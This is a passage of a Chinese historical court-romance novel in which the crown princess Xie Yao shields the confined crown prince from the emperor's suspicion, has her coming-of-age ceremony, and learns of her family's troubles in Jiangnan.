元庆佯装愠怒,“你骗得了别人,可骗不了我!从小到大,你一撒谎就不敢直视别人的眼睛。”
元承双拽了拽元庆的衣袖,撒娇道:“我和太子妃真的没
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聊什么,再说女子之间的话题,你也不懂。”
元庆撇了撇嘴,颇有一种孩子长大了,管不了了的作态。
兄妹俩一路嬉笑打闹,不曾注意到,在他们身后,一个身影悄悄从枯树丛中闪过,消失在宫墙拐角。
元庆下意识回头,元承双也随着他的动作向后望去,“怎么了?”
元庆摇了摇头,故作若无其事的样子,心中暗自思量:奇怪!方才明明听见身后有动静。
许是前不久亲眼所见的缘故,他立时想到太子妃,脑中闪过一个极其不好的念头。
元庆蓦地停住脚步,“承双,我有个东西好像落在亭子那儿了,我回去取一下。你不必等我,自己先回宫。”
“啊?”元承双一头雾水,“哥哥,我同你一起去吧。”
他边跑边摆了摆手,大声喊道:“不用,你先回去吧。听话!”
“什么啊?哥哥今日怎么奇奇怪怪的?”
元承双无奈地转过身,继续朝坤宁宫走去。
元庆疾步跑回万春亭,见亭中无人,又绕着太液池周围走了一圈,确认无异后,安下心来。
他坐在亭中小憩,想到适才交谈时,太子妃认真的神情,心中多了几分笃定:想必太子妃已经会意,日后定当会有所防备,如此便好。
元庆眉目舒展,露出一抹淡淡的笑意。
无人察觉的角落里,一树的腊梅含苞待放,不声不响地迎接着春意,预示着即将到来的繁花似锦。
进了屋后,棠梨帮谢杳脱下斗篷,顺势问道:“小姐可想到办法了?”
谢杳沮丧地摇了摇头,沉默了片刻,缓缓开口:“我们暂且按兵不动,待有合适的时机,再想办法传信出去。”
“嗯,谨慎些总归没有错。”棠梨感到有些欣慰,看来二皇子的话,小姐是听进去了。
她暗自感叹:如今的小姐愈发稳重,倒是有几分太子妃的风范了。
此后的日子,谢杳大多在安乐殿闭门不出,只偶尔与永乐公主在万春亭小聚闲谈,几番交往下来,倒真成了可以谈天说地的好友。东宫还是一如既往,无声无息,让人难以捉摸。
时间一晃而过,到了尚书堂开学的日子。
谢杳满怀期待,早早地来到尚书堂。
顾怀川见她这与众人截然不同的模样,好奇地走上前,“太子妃可是有什么喜事?”
谢杳表情一僵,真正的原因她不能当众言明,只好信口胡诌道:“开学……就是喜事。”
顾怀川忍俊不禁,一旁的皇子和公主们闻言皆是一惊,永乐公主连忙回头,轻声问道:“你今日怎么回事?”
谢杳面目狰狞,挤出一个比哭还难看的笑容。
然而她所期待的并未发生,直到下学,元序都不曾出现。
下学后,谢杳一直等到尚书堂内的人都离去,才走上前,向顾怀川询问,“太傅,您可知道太子殿下为何……”
“阿杳!”顾怀川摇了摇头,示意谢杳噤声,“阿杳勿忧,殿下无事。”
既然无事,那他为何一直闭门不出?我又何时能与他相见呢?这些话谢杳终是忍着没有问出口。
顾怀川明白谢杳心中所疑,只是身在宫中,他不能轻易妄言。他长长地叹了口气,拿起书简,落寞地走出了尚书堂。
谢杳倚着书案,凝眸望向太子的座位。
良久,她眸光一闪,似是打定了某个主意,快步离开了尚书堂。
8. 第七卷·君子不器
乌云卷积,覆满夜空,几棵刚露新芽的柳树随风摇曳着,发出沙沙地声响。
仲春时节,乍暖还寒,入夜尤甚。
谢杳裹紧衣衫,她一身玄衣,隐入沉沉夜色,让人难以察觉。
东宫灯火通明,几队侍卫轮番巡查,戒备森严。谢杳将身子压低,俯伏在屋脊上,悄悄观察。这些侍卫她此前从未在东宫见过,可能让这些生面孔在东宫值守的人,若非太子,那便只能是……圣上。
只见有一队侍卫穿过回廊,与一个个子高挑的男子交谈了几句,然后继续四下巡查。
谢杳仔细端详着那个男子,他背对着偏殿,让人看不到面容。借着灯笼的微光,谢杳隐约看见,那男子的腰间有一块令牌,这令牌她好像在哪儿见过。她努力回忆着近日的所见所闻,终于想到是前些日子与永乐公主闲谈时,那人曾经过万春亭,还在路过她们时放慢了脚步。
她心下思量:难道薛国公口中的那个门楣,不只与太子有关,还与江宁侯府有关?
子夜时分,侍卫们经过几番巡查渐渐放松了警惕,连连打起了哈欠。
谢杳看准时机,纵身跃下屋顶,翻窗进了殿内。
殿内一片漆黑,谢杳凭着记忆,在微弱夜光的映照下,摸索着走到床榻旁,待她看清周围,倒吸了一口凉气。
榻上无人!
谢杳忽地感到肩上一沉,忙伸手拽住身后那人的胳膊,用力一甩,那人顺势从身后环抱住她,用手捂住她的嘴,以免她再闹出动静,轻声唤道:“昭昭,是我。”
元序见怀中的少女渐渐平静下来,立刻抽回了手,努力压低的声音中带着难掩的怒意:“谁让你来的?你不要命了?”
谢杳转过身,抬眸直视着元序,一言不发。
“你有没有想过,若是你被人发现了怎么办?你当真以为以你的这一身功夫能对抗得了这么多侍卫?”元序质问道。
“我只是想知道你是否安好。”谢杳神色认真,“更何况……我本就已经身在其中了。”
“这些时日有人对你下手了?”元序声音急切。
谢杳摇头,“没有,只是监视。是一个个子高挑,腰间戴着一块令牌的侍卫,方才我还在屋顶看到他了。”
元序轻笑,眸中闪过一丝落寞,“是父皇的亲卫。”
谢杳付之一笑,这个答案她并不意外。
“此番究竟所为何事?”
元序犹豫不定,移开目光,默不作声。
谢杳叹了口气,“殿下不答,想必又是与我有关了?”
“父皇怀疑东宫窝藏段氏后人。”元序幽幽开口。
段氏?谢杳努力回忆着大晟的段氏一族,惟有儿时的零星印象,她微微蹙眉,“哪里的段氏?”
“凉州段氏。”
谢杳忽地想到什么,瞋目望向元序,脱口而出:“我祖母?”
元序轻轻点头,“朔光七年,凉州段氏勾结西羌,意图谋反,被满门抄斩。”
“可是……”
“可是证据太过牵强,甚至经不起推敲。”元序接过谢杳的话。
“那殿下可否真的救了段氏后人?”谢杳直言相问。
元序眸光闪烁,顿了顿说道:“没有。我到的时候,段府已经被大火烧得面目全非,无一人幸免。”
谢杳的胸口隐隐作痛,压得她喘不过气来,这些往事江宁侯府上下从未向她提起过。
元序知她心中所想,柔声解释道:“你那时尚且年幼,无从知晓,不是你的过错。姑姑曾亲赴凉州,无奈未能找到证据为段氏正名。彼时皇祖父,令祖父,令祖母都已不在人世,加之谢氏远隔江南,迫于朝堂压力,只好不了了之。”
谢杳面露悲戚,伸手扶住一旁的桌案,勉强支撑着让自己站稳。
良久,元序幽幽开口:“有冤之人,不能含冤而终。真相总有一日会水落石出,哪怕要经过漫长的等待。”
谢杳抬眸,迎上元序笃定的目光,心渐渐沉了下来。
“滴答——”
斜风细雨打在檐上,发出清脆的声响,夜色阑珊,已将近四更。
元序转身从衣架上拿起一件墨色连帽斗篷,给谢杳披好,催促道:“这雨越下越大了,快回去吧。”
谢杳急忙拉住他的衣袖,“殿下还要像这样继续困在东宫吗?”
元序拍了拍谢杳的肩膀,安抚她道:“昭昭勿忧,待他们查清楚后东宫自然会解禁。”
“可我觉得没这么简单。”谢杳神色凝重,言辞恳切,“自元日至今已一月有余,按理说,这么多侍卫早就应当查的一清二楚,怎会拖到今日?”
元序故作轻松,扬起唇角,“昭昭多虑了。”
“殿下莫要骗我了!怕是圣上还未打消疑虑,所以才迟迟没有动作。”谢杳眼珠一转,恍然了悟,“段氏后人与江宁侯府脱不了干系……圣上是以为我知晓段氏后人是谁。”
元序无奈低头,他心中感叹:昭昭这般聪慧,他如何能瞒得住。
“既如此,殿下的困局,就交给我来解吧。”谢杳莞尔。
巧笑倩兮,美目盼兮。元序莫名想到这句话。
“殿下切记,到时无论传来什么消息都要好好配合。”谢杳俏皮地眨了眨眼,丢下一句话,翻窗跳出殿外。
“昭昭不可妄动!”元序来不及出言劝阻,谢杳就这样无声无息地消失在夜色之中。
乌云悄悄消散,细雨绵绵,弯弯的月牙若隐若现,春意更盛了几分。
那日之后,谢杳谎称自己身子不适,一连好几日都借故不去尚书堂,直到她这一番动作惊动了圣上。
趁太医来诊断前,谢杳先行来到慈宁宫,向太后坦白,“皇祖母,请您责罚。”
太后抬眸,神情没有一丝波澜,“杳杳何出此言?”
“谢杳诈疾,此为一错。借由无故不去尚书堂,此为二错。如今惊动圣上,待太医诊断后真相毕露,实为欺君,此乃三错。故请皇祖母责罚。”谢杳跪地,躬身以待。
太后长长地叹了口气,“你既清楚,又为何要这么做啊?”
谢杳攥紧手心,缄口不言,只默默摇头。
“告诉予!”太后声色俱厉。
“入尚书堂实非谢杳所愿,求皇祖母成全,允我出学。”
“胡闹!你可知寻常世家子弟根本没有机会进入尚书堂。”太后气愤不已,“顾太傅的学识乃大晟之首,对你多有裨益,更何况入尚书堂一事,乃圣上旨意,岂是你说不愿就能不去的。”
“谢杳恳请皇祖母成全。”谢杳神情坚定,不为所动。
“出去跪着!”太后向赵嬷嬷摆了摆手,示意她上前,“禧姑,你看着太子妃,什么时候她想明白了,再让她起来。”
棠梨无措地望向谢杳,心中很是犯愁:现下如何是好,倘若小姐推算有误,岂不是要一直跪下去。
门外,福来正欲通传,却被朔光帝拦下,这位大晟的九五之尊,就这样猝不及防地推门而入,不给任何人准备之机。
“母后缘何如此生气?”朔光帝和颜劝解,“莫要气坏了身子。”
这番笑容,莫名让谢杳想起自己第一次见到这位皇帝时的样子,如出一辙的慈眉善目,实际却是笑里藏刀。
言罢,朔光帝转过头,眸光犀利,如鹰隼般打量着谢杳。
“臣女有罪,但凭陛下责罚。”
谢杳叩首,听候发落。
“凡事必有因,太子妃不打算同朕好好解释解释吗?”朔光帝不怒自威。
“臣女……臣女是为太子殿下。”谢杳越说声音越低。
“太子?”朔光帝挑眉,饶有兴味地望着谢杳。
“臣女给太子殿下过生辰时,误把糖当作盐放到了寿面之中,自那日后,殿下便一直对臣女避而不见,就连尚书堂也都不去了。臣女不愿烦扰太子殿下,只好出此下策,请陛下、太后成全,臣女自请退出尚书堂。”谢杳眼眶通红,故作委屈地说道。
“混账!禧姑,给予唤太子过来。”太后气极,厉声一喝。
朔光帝使了个眼色,福来紧忙拦住欲走出门去的赵嬷嬷。
太后疑惑地望向朔光帝,二人目光交汇,太后瞬时明了,她怒目瞥了一眼朔光帝,又别过头去。
“太子妃可要好好想想,太子断不会为一点小打小闹而与你生隙,必是旁的缘由。”朔光帝垂眸,让人辨不出情绪。
“臣女也很奇怪,但臣女确实不知还有何处得罪了太子殿下。”谢杳目光真诚,神情笃定。
朔光帝眸光一沉,缓缓开口:“明日,朕定叫他出现在尚书堂给太子妃一个解释,太子妃的话朕就当从未听过,今后也莫要再提。”
“谢陛下。”谢杳叩首谢恩,起身退出殿内。
“虎毒尚且不食子,皇帝这是要对太子下手吗?”太后幽幽开口。
“儿臣并无此意,只是东宫或有逆党窝藏,不得不查。”
太后怒极反笑,“那陛下可查清楚了?”
朔光帝颔首,不欲多言。
太后见状也无兴致再与他叙话,“予乏了,皇帝自便吧。”
“母后好生歇息,儿臣告退。”
朔光帝出了慈宁宫,立刻变了脸色,露出阴鸷的眼神,他冷笑道:“好一个李代桃僵的太子妃!谢弈安真是生了个好女儿!”
回安乐殿后,棠梨连忙拽着谢杳坐下,察看了一番,舒了口气,“还好小姐没事。”
谢杳狡黠地眨了眨眼,
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露出满意的笑容。
“小姐真是神了,算无遗策。”棠梨亦是面露喜色。
一束阳光透过窗棂打在桌案的花瓶上,浮光涌动,瓶中的几枝白梅像是披着一层鎏金,格外绚丽。
谢杳起身推开窗子,微风拂面,带来浓浓春意,谷雨已至,又快入夏了。
一个身影从对面的檐上闪过,恰好被棠梨捕捉到,她压低声音,提醒谢杳。
谢杳颔首,笑了笑,不置可否。其实,她早就发现了对面的人影,圣上在东宫一无所获,本就打算另寻出路,如今她李代桃僵,也算是将祸水东引,解了太子的困局。
“小姐,我们今后的处境,怕是更加艰难了。”棠梨转乐为忧。
“燃眉之急,烧手之患,哪一个都艰难,可总要有人去做。”谢杳淡淡说道。
阳光透过堆叠的云层,普照大地,光辉熠熠,势不可当。
清风徐来,流云微动,日光更盛。
谢杳垂眸,轻轻摩挲过几枝白梅的花瓣,扬唇一笑。
东宫的危局告一段落,就好似一切都未发生过,日子恢复如往常,平淡逝水。唯一的一点不同,是太子与太子妃的关系——自二人相继消失在尚书堂,又一同出现后,彼此表现得格外疏离,让旁人瞧着甚是怪异。
“哥哥,太子妃和皇兄怎么了?怎么这般冷淡?”元承双小声嘟囔道。
“少管闲事。”元庆瞋目,示意她不要胡乱揣测。
元承双撇了撇嘴,心下暗叹:这般样子已半月有余,若现下不是孟夏时节,他们之间怕是能冻死个人。
顾怀川走进尚书堂,瞟了一眼谢杳和元序,无奈地轻轻摇了摇头。他理了理书简,正色道:“今日策论不设规矩,大家畅所欲言,随感而答即可,不必写在纸上。”
待他们放下笔,坐好后,顾怀川继续说道:“《礼记》有云:‘是故谋闭而不兴,盗窃乱贼而不作,故外户而不闭,是谓大同。’倘使各位为君,当如何建立彼之大同?”
顾怀川看向适才小声嘀咕的元承双,温和地笑了笑。
元承双慌张地避开太傅的目光,别过头去,脑中努力思索着答案。
一个稚嫩的声音幽幽传来,“便就如《礼记》所载,努力做到路不拾遗,夜不闭户,或可建立大同。”
“那要如何实现路不拾遗,夜不闭户呢?”顾怀川温声引导。
元康眉头微蹙,不知该作何回答。
“三殿下年岁尚小,能有此见解已是难得。”顾怀川摆手,示意三皇子坐下。
“本公主认为,君、臣、民三者各居其位、各行其道,为君者尽力,为臣者勤勉,为民者知足,方得大同。”元承锦下巴微扬,语气轻佻。
顾怀川略感遗憾地摇了摇头。
“端淳妹妹此言差矣。”元承双缓缓起身,“太傅,永乐以为,君臣应同治乱,共安危。君主若无能,尽力也是无用;臣之职责,不只勤勉,更在谏言;为民者身在其中,也当出一份力。君、臣、民各尽所能,才能建立大同。”
“言之有理。”顾怀川移开目光,望着还未出声的剩下三位。
“本殿倒觉得,能从心所欲、顺其自然的活着,才是大同的真正愿景。”元庆率先开口。
顾怀川轻轻点头,示意他继续说下去。
元庆似笑非笑,“俯仰一世,从心所欲容易,不逾矩却难。人生本应有千万种活法,却总囿于一板一眼的规矩之中,在法理、情理的限制下,踽踽而行。沉疴至此,为君者当革除积弊,顺时而为,或谓大同。”
“二殿下既心有所惑,何妨一试?”顾怀川点到为止。他教习的这些日子,对几位皇子和公主的品性看得一清二楚。若论才德,二皇子虽稍逊太子一筹,却并非平庸之辈,加以引导,也能有所作为。
“为政以德,譬如北辰,居其所而众星拱之。是故情理不可弃,法理不可不顾。”谢杳起身,抬眸迎上顾怀川的目光,“为君者贤,为臣者正,或可得一夕安寝。然天地生民若水,君臣若舟,水可载舟,亦可覆舟。夫民者,万世之本也。”
“民为贵,社稷次之,君为轻。”元序接过谢杳的话,“大道之行也,天下为公。江山社稷无不取之于民。故为君之道,大同之道,绝非……”
“绝非一家之言,乃万民之功。”谢杳和元序异口同声,一齐说道。
他们这番话掷地有声,尚书堂四下静寂,大家都在默默思量。
谢杳与元序的目光暗中交汇,二人相视一笑,彼此会意,敛了情绪。
顾怀川不免感叹:谢杳还未及笄,便已有了如此见地,堪为奇才。她与太子二人心有灵犀,佳偶天成。
新生之力不容小觑,大晟未来之盛世隐可窥见一二。
9. 第八卷·久作长安旅
“父母兄长在上,女儿离家数载,甚以为怀,今渐有所成……”
谢杳猛地放下笔,将刚写好的信团成一团,扔到一边。
棠梨站在一旁,不知如何是好。
疾风骤雨席卷而来,砰的一声,毫无预兆地将窗子吹开,桌案上的信纸如风吹麦浪般上下浮动,像是要随风起舞。
棠梨快步走过去,打算将窗子关好,她不经意瞥见远处的人影,定睛一看,欣喜地喊道:“小姐,太子殿下来了!”
谢杳闻言起身,往窗外一望,待确认来人是谁后,小跑了出去。
元序见谢杳出来,连忙上前去迎,默默将伞面向她倾斜,确保她不会被雨水淋到。
“怎么这么着急?淋到雨该着凉了。”元序抬手拢了拢谢杳的斗篷。
谢杳狡黠地笑着摇头,指了指头顶上的伞,“淋不到。”
“你兄长的信。”元序从衣衫中掏出一封信。
谢杳接过信笺,上面还留有余温,长安城这般瓢泼的大雨,竟一点也没打到信上。
“兄长祝我生辰吉乐。”谢杳面露喜色,又陡然一变,语气低沉,“信上说,我的及笄礼,他们来不了了。”
元序从袖中掏出一个月牙形的玉佩,在谢杳的眼前一晃,少女面露惊喜之色,缓缓展颜。
“这是姑姑给你的生辰礼,夜光石做的。”元序暗暗松了口气,幸亏他多问了姑姑一句,这才想到这个折中之法,使她不至于太过难过。
“昭昭可想出宫?”元序轻声问道。
“殿下为何突然这么问?”谢杳恍然发觉,自己竟不知从何时起习惯了在宫里的生活。
元序意味深长地摇了摇头,没再出声。
***
朔光十五年雨水节气清晨,福公公携圣旨来到安乐殿。
“奉天承运皇帝,诏曰:谢氏有女谢杳,毓质淑慎,才德兼行,有安正之美。今贺其及笄,特赐金步摇一双,金镯一对,绫罗绸缎百匹。即日出宫,暂居谢府,待择良辰完婚,钦此!”福公公笑意盈盈,“太子妃,接旨吧。”
“臣女谢杳接旨,谢陛下隆恩。”谢杳接下圣旨,福公公虚扶起她,向她道贺。
“福公公,可否容我陪太后娘娘用完早膳再出宫。”谢杳言辞恳切。
福公公轻轻点头,施礼离开。
慈宁宫内,太后拄着下巴,面色不悦。
“皇祖母多少吃一点吧,明日谢杳就不能陪您一同用膳了。”谢杳柔声劝道。
太后抬眸,眼中满是不舍,她拉着谢杳走到妆奁旁,拿出一只红翡玉镯,给谢杳戴上,制止住谢杳推拒的动作,语重心长地说道:“这是阿序母亲留下的。”
谢杳愣怔在原地,垂眸盯着腕上的镯子。
“杳杳,皇祖母愿你前路顺遂,平宁无忧。”太后笑中带泪,轻抚过谢杳的脸颊。
“谢杳拜别皇祖母,谢皇祖母这些时日的照料,您要好好保重。”
谢杳眸光闪烁,跪地叩首,缓缓起身走出殿外。
踏出慈宁宫宫门的那一刻,她回头望向这片方寸间的天地,心中感叹:其实,她一早就知道自己不会在宫中待太久,可逝者如斯,转眼已是两载春秋,这里承载了她太多的回忆,难以忘记。
谢杳闭目凝神,整理好情绪。这座宫城不知不觉间困住了很多人,如今能够离开,本是幸事,何故伤怀?人生在世,难免别离,天下没有不散的筵席,但……人生何处不相逢,只要怀着这样一份心愿,就总有再相见的那一日。
承天门前,一辆装饰华贵的马车停在门边,似是在等人。
“苏侍卫?”棠梨眼尖,率先认出了驾车的人。
谢杳展颜,脚步轻快地上了马车。
“殿下果然在!”
元序望着眉目含笑的谢杳,也不自觉露出了笑容,“皇祖母命我来送你。”
“哦。”
元序忍俊不禁,“纵使皇祖母不说,我也会来送你。只是那样的话,父皇又要派好几倍的耳目来监视你了。”
谢杳叹了口气,“我这及笄礼是不是办不成了?”
元序狡黠地摇了摇头,谢杳看出了他的不对劲,几番逼问,他都守口如瓶,愣是一路憋到了谢府。
谢杳掀开车帷,待看清府门口的人时,三步并作两步跑下车,扬声喊道:“阿娘!”
母女二人都激动万分,紧紧握住对方的手,问长问短。元序识趣地跟在谢杳身后,没有出声打扰。
“殿下。”高晏余光一瞥,认出了元序,向他施礼。
“将军。”元序回以晚辈礼。
高晏闻言一笑,语气中带着几分自嘲之意,“这称呼还真是很久没有人叫过了。”
“您是江宁侯夫人,亦是大晟的飞燕将军。这一点,江南的百姓不会忘,大晟朝堂也不会忘。”元序目光诚挚,语气坚定。
高晏眼波流转,心下感叹:不愧是太子,此等气度,天下难寻。这长辈之交牵出的一纸诏书,倒是为昭昭择了个好姻缘。
“我们快进去吧。”谢杳出声提醒。
谢府内里焕然一新,一看就是被人精心布置过的,正厅内谢弈月和顾怀川相对而坐,见来人纷纷起身。
“昭昭先去换衣服吧。”高晏拍了拍谢杳的肩膀。
谢杳会意,向众人见完礼,快步走向厢房。待她再出来时,换了一身藕粉色镶银丝的苏缎长裙,上面绣着桃花纹样,华贵非常。
“今日,小女谢杳行及笄之礼,诚邀各位见证,高晏在此代江宁侯府谢过诸位。”
高晏居于主位,扬声致辞。顾怀川与谢弈月对坐在左右两侧,太子和定远侯府的小侯爷陆琼宇分别站在顾怀川、谢弈月的身后。
谢杳仪态端庄,稳步走进正厅,她环视厅内,瞪大了眼睛:阿宇?他竟也来了长安!
谢弈月见状,唇角微扬,向谢杳使了个眼色,示意她不要分神。
谢杳心领神会,收回目光,待走到厅内正中,停了下来,向在座的各位一一施礼。
谢弈月起身,走到谢杳面前,“令月吉日,始加元服。弃尔幼志,顺尔成德。敬尔威仪,淑慎尔德。寿考惟祺,以介景福。”
谢杳双膝跪地,微微低头,待姑姑为她梳头加笄。然后转而望向母亲,稽首叩拜。
陆琼宇上前,将醩酒递给谢弈月。
“甘醩惟厚,嘉荐令芳。拜寿祭之,以定尔祥,承天之休,寿考不忘。”
谢杳复行拜礼,接过谢弈月手中的醩酒,轻轻一斜,撒在地上少许,以作祭酒,又象征性地抿了一口,起身再拜。
高晏脸上堆满了笑,“小女谢杳笄礼已成,多谢诸位见证。”言罢,她向参礼者一一作揖,以表谢意。
“夫人客气了。”顾怀川起身,向高晏施礼,“怀川不便多留,就先行告辞了。”
“今日多谢太傅。”高晏用余光瞥了眼谢弈月,见她不动声色,也不好出言相留,“太傅请便。”
“孤随太傅一道。”元序趁机走上前。
谢杳闻言微愣,忙开口说道:“阿娘,我去送一送他们。”
高晏颔首,露出一个意味深长的笑容。
顾怀川唇角微扬,快走了几步,拉开与元序的距离,方便他们二人说话。
“殿下怎么也急着走?”谢杳有些疑惑。
“我和老师一样,不便多留。”
“太子殿下也怕被冠以结交世家之名?”谢杳的语气抑扬顿挫,颇有调侃之意。
“怕。怕殃及池鱼,伤了昭昭。”元序神色认真。
谢杳微怔,没再作声。
“愿昭昭,桃花流水杳然去,朗月清风到处游。”元序牵起谢杳的手腕,抬眸看向她,“这就是孤给你的生辰礼。”
红翡玉镯在日光的照耀下显得无比清透,红玉艳而不妖,翡色清丽淡雅,与谢杳极为相衬。
“殿下,该回去了。”顾怀川出言提醒。
“凡事留心。”元序松开谢杳的手腕,转身上了马车。
谢杳伫立在原地,直到马车消失在视线之中,她垂眸凝望着腕上的玉镯,心念微动。
注视了全程的陆琼宇敛了情绪,走到她跟前,轻声唤她,“阿杳。”
谢杳回神,见来人是陆琼宇,扬唇一笑,“阿宇,好久不见。”
“是啊!自江宁分别,已有三载,当真是很久了。”陆琼宇心中酸楚,努力维持着面上的笑意。
“边走边说?”
陆琼宇颔首,与谢杳并肩往回走。
“你怎么会来长安?”谢杳侧头望向陆琼宇。
“圣上召我入京,拜大理寺少卿。”陆琼宇直言相告。
“大理寺少卿?”谢杳闻言一惊,将声音压低,“你年纪尚轻,且出身行伍,怎会拜大理寺少卿?”
陆琼宇摇了摇头,表示自己也不知圣上缘何如此。
“事出反常必有妖,你还是小心为妙。”谢杳眉头微蹙,神情严肃。
“兵来将挡,水来土掩。”
谢杳忍俊不禁,明明是她叮嘱陆琼宇,却反倒成了他安慰她。
“阿杳这些年如何?”陆琼宇试探着问道。
“非好非坏,这日子都一样。”谢杳神情淡然,对过往的险难只字不提。
“不管如何,我来了,你今后便不用再一个人面对了。”陆琼宇神情认真,望向她。
谢杳被他逗得开怀大笑,不甚在意地点了点头。
这一年的雨水节气,长安难得没有下雨,艳阳高照,带来和煦的暖意。冷清了许久的谢府,终于热闹起来,这份喜悦延续了一整日。
黄昏将至,谢弈月
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见时辰差不多,换了身衣裳,准备离开。
“姑姑,夜色已深,行路小心。”谢杳帮谢弈月戴好帷帽,叮嘱道。
“昭昭放心。”谢弈月敛了神色,出言提醒,“昭昭,你如今的处境,实在堪忧。”
谢杳蹙眉,拽了拽谢弈月的衣袖,示意她噤声。
“罢了,姑姑相信你应对得了。”言罢,谢弈月摇身一跃,跳上屋顶,消失于沉沉夜色之中。
谢弈月刚离开,高晏就出现在门口。
“阿娘。”谢杳笑着跑过去迎。
“你姑姑走了?”
“嗯。”
高晏挽着谢杳走到桌边坐下,她上下打量着自己的女儿,“我们昭昭生得真好看,越发落落大方了。”
“阿娘,你这不只是在夸我吧?”谢杳俏皮地眨了眨眼。
母女俩相视一笑,笑声爽朗,响彻屋内。
“昭昭一个人在长安,受苦了。”高晏紧紧握住谢杳的手,心疼地望着她。
谢杳忍住心中的委屈,仍旧笑着,摇了摇头。
“这玉镯成色不错。”高晏注意到谢杳手上的玉镯。
“啊……这镯子……”谢杳支支吾吾,眼神躲闪。
“是太子殿下送的?”高晏见状,心下了然,“昭昭可是心悦太子殿下?”
谢杳低头,避而不答。
高晏又问,“那昭昭觉得太子殿下这个人如何?”
“殿下温润如玉,端方有礼,是谦谦君子。”
谢杳想了想,又补充道:“他宽以待人,心怀天下,是个贤德的好储君。”
“殿下确实很好,阿娘也觉得这样端方干净的人,很是难得。”
高晏顿了顿,继续说道:“可是昭昭,你可有想过,太子是未来的国君,太子妃便是翌日的皇后,中宫之位,你可否能担得起?”
谢杳轻轻摇头,“女儿从未想过要做皇后。”
高晏叹了口气,她本不愿让谢杳早慧,可身在局中,她便不能不告诉谢杳实情,“你可知你父兄未能北上的真正原因?”
“圣上忌惮,江宁侯府阖家北上,恐有灭族之灾。”谢杳对答如流。
高晏望着谢杳,心中感叹:昭昭真的长大了,或许她早已能独当风雨,倒是自己与夫君狭隘了。
“阿娘?”谢杳久不见回应,出声唤道。
“昭昭所说的只是最微末的一个原因。”高晏神情严肃,“江宁侯府绝非贪生怕死之辈,个人生死不足重,可万千百姓之生死,却重于泰山。如今江南局势动荡,你父兄脱不开身,也不能脱身。”
谢杳心头一震,“怎会如此?”
高晏难掩愁容,“去岁江南水患,朝廷赈灾拖延数日,至饿殍遍地。江南的赋税本就繁重,今岁又加征了赋税,百姓苦不堪言。我与你阿爹将所有的俸禄用在其中,也只能勉强护住江宁一城的百姓,不知能撑到几时。沿海一带,东夷流寇虎视眈眈,内忧外患,不容乐观。”
谢杳蓦地起身,她走到妆奁旁,将贵重的首饰全都拿了出来,用布包好,抱到桌上。
“阿娘,这些你都带回去,江宁侯府必须撑住。”谢杳将东西塞到母亲怀中,“江南乃大晟之仓廪,不可倾颓。沿海若失,国之不存,民将焉附。无论如何,我们都要尽力,哪怕只有一城的百姓,我们也要护。”
高晏万分不忍,眼中含泪,不愿接下。
“阿娘!”谢杳眼眶通红,“只要我在长安一日,圣上便不会轻易对江宁侯府下手,这样江宁侯府便有一日之机,便能多护江南百姓一日。”
高晏郑重地点了点头,面带不舍地望着谢杳,“阿娘亦不能多留,明日便要启程回去了,你自己要多保重。”
“阿娘不必担心,您明日还要赶路,早些歇息吧。”
清夜无尘,月色如银。
谢杳茕茕孑立,倚在檐上,眸中美景沉入无边黑暗,总是不如白日令人欣喜。
宵禁将至,街上灯火通明,挤满了归家的人潮。其中不乏形单影只的人,也有三两结对、并肩而行的人,怎么看都是一片安宁祥和。
晚风拂过,阵阵凉意袭来,谢杳拢了拢衣衫,腕上的镯子不小心磕到檐上的瓦片,发出清脆的响声。
她用手轻轻拨弄玉镯,从红玉转到翡玉,再转到红翡交接之处,停了下来。
“愿昭昭,岁岁不独往,年年胜今昔。纵世事难平,亦不萦于心;纵四方难往,亦不辍于行。”
她莫名想起初到长安时,太子给她过生辰那日说的话。
谢杳循着星斗,找到参宿,她目视南方——那个故乡的方向,在心中无声念道:“我就再等一等,等到下一个春天,等到一切安定之时,再回去吧。”
繁星闪烁,默默收容了她的心愿,沉入万家灯火,最终,消弭于阑珊夜色。
10. 第九卷·此情可待成追忆
及笄礼过后,谢府又归于冷清。
陆琼宇新官上任,忙碌了数月,只偶尔得空与谢杳闲坐小叙。
人来人往,终是只留下她独自一人的门庭。
暮夏的阳光打在身上,晒得人发烫。
谢杳轻轻扇动扇子,百无聊赖地品着茶。
忽而传来一阵窸窸窣窣的声音,她循声望去,一个鲤鱼形状的风筝歪歪扭扭地飘在空中,上下抖动着,摇摇欲坠。
谢杳轻叹:“还是和小时候一样,放风筝的能力毫无长进。”
她笑着走出府,循着风筝的方位很快找到了陆琼宇。
见她出来,陆琼宇扬唇一笑,“阿杳。”
“阿宇,你这风筝放得……真是一绝。”谢杳忍不住调侃。
陆琼宇清了清嗓子,掩饰窘况,“那你教我,正好我今日休沐。”
“算了吧,我都教你好几回了,一点成效都没有。”谢杳连忙摆手。
陆琼宇话锋一转,“我来长安这么久了,还没好好欣赏过这里。不如阿杳带我逛一逛吧。”
“还不是因为少卿大人公事繁忙,我有这心,你也没这时间啊!”谢杳莞尔,“你等我一下。”
言罢,她回府换了身衣裳,戴好帷帽,又命棠梨准备了一辆马车,而后他们一行人坐上马车,往城西驶去。
马车一路行过长安东市、朱雀大街,最终来到长安西市。
“其实我也没去过什么地方,我来长安没多久就进宫了。”谢杳有些不好意思。
“那你就同我讲讲你去过的地方。”陆琼宇眼含笑意,望向谢杳。
“姑姑的红尘楼就在方才常乐坊出来不远的东市,那附近居住的多是达官显贵,因而市中汇集了四方奇珍,行邸的规模也大。”谢杳一一介绍着,“西市我也是第一次来。”
棠梨忍不住笑出了声,“西市我之前替小姐来过一次,倒是比较熟悉。这里的客源主要是平民百姓,贩卖的商品也大多为日常生活所需。此外,还有不少胡商在这儿经营,热闹程度不亚于东市。”
“替阿杳来?”陆琼宇不解。
“那日太子殿下……”
“棠梨!”谢杳打断了棠梨的话,向她使了个眼色,示意她不要多言。
棠梨连忙捂住嘴,低下了头。
“要不要下去逛逛?”谢杳顾左右而言他,“我请你吃点心。”
陆琼宇点头答应,在谢杳起身背对他的那一瞬,他的眸中闪过一丝失落,又很快化为乌有。
谢杳边走边说:“这里有一个柳记糕铺,味道很不错。”
陆琼宇指了指巷口的铺子,“是不是这家?”
谢杳顺着陆琼宇指的方向看过去,用力地点了点头,她刚迈开步子,就被陆琼宇拽了回来。
“阿杳,这里人多眼杂,我们还是买回去吃吧。”陆琼宇低声提醒。
“好。”谢杳转身交代棠梨,“每一样都买一点。”
“棠梨不知道我的喜好,阿杳你亲自去好不好?”陆琼宇柔声说道。
谢杳不疑有他,“那好吧,大人稍等,小的马上回来。”
陆琼宇拦住欲跟上前去的棠梨,低声问道:“你之前为何会替阿杳来此?”
